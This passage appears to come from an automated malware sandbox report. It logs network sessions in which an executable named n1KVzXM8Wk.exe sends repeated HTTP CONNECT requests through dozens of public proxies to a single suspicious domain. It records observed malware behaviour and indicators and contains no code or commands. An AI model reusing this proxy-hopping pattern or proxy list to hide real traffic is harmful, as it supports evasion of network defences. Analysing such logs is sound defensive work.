Feb 23, 2024 09:45:22.178164005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178464890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.178741932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	50298	1.15.62.12	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.994901896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098592997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	49795	177.87.250.66	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.001863003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.870153904 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	49829	189.240.60.171	9090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.001909018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.191194057 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	50563	185.215.160.118	35010	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.003391027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	50584	162.240.10.35	35087	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.041424990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178188086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	49881	192.99.37.195	9603	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.043878078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098678112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.147054911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.200650930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.266370058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.271764040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.271859884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	49893	166.62.53.45	56862	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.047399998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098715067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	49889	109.123.254.43	51025	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.047736883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178188086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	49931	72.167.221.145	53672	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.053325891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178256035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	49960	51.210.4.123	56238	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.065144062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178256035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178472042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.178821087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.178174973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	50057	107.181.168.145	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.090095997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	50562	142.54.236.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.118555069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	50033	193.41.88.58	53281	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.120173931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.907593012 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	50048	77.235.19.2	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.156640053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.211344957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.257405996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.334609985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	50206	12.186.205.123	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.178517103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.304444075 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	50204	192.99.37.195	36477	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.182307005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.366012096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.365928888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.366255999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.381254911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	50590	72.210.252.137	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.184578896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	50593	24.249.199.4	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.194844007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	50092	207.180.234.220	36946	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.195357084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.211396933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.257324934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.334609985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.443852901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.443623066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.443665028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	50119	94.23.83.53	64305	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.204169035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.366040945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.365958929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.366249084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.381273031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.381158113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.381194115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	49974	152.67.10.190	8100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.220941067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	50600	72.210.208.101	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.225501060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	50591	211.222.252.187	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.227819920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	50594	122.116.150.2	9000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.235693932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	50332	107.180.101.226	59810	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.255522966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.334374905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.370277882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.443952084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	50598	116.199.170.17	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.258266926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	50597	167.172.86.46	10471	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.275816917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	50605	98.170.57.231	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.279150009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	50599	61.7.183.152	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.285243988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	50616	172.67.3.98	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.285296917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.372627020 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	50607	174.77.111.196	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.290007114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.4	50608	98.178.72.21	10919	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.295988083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	50612	24.249.199.12	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.321500063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	50613	184.178.172.13	15311	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.335763931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	50611	199.102.105.242	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.335931063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	50627	104.19.120.84	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.366497040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.454235077 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	50615	41.231.37.76	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.396632910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.419889927 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	50652	202.159.35.73	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.409317017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	50636	50.250.56.129	9898	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.412904978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	50664	202.159.35.73	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.431657076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.4	50665	202.159.35.73	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:19.433557034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
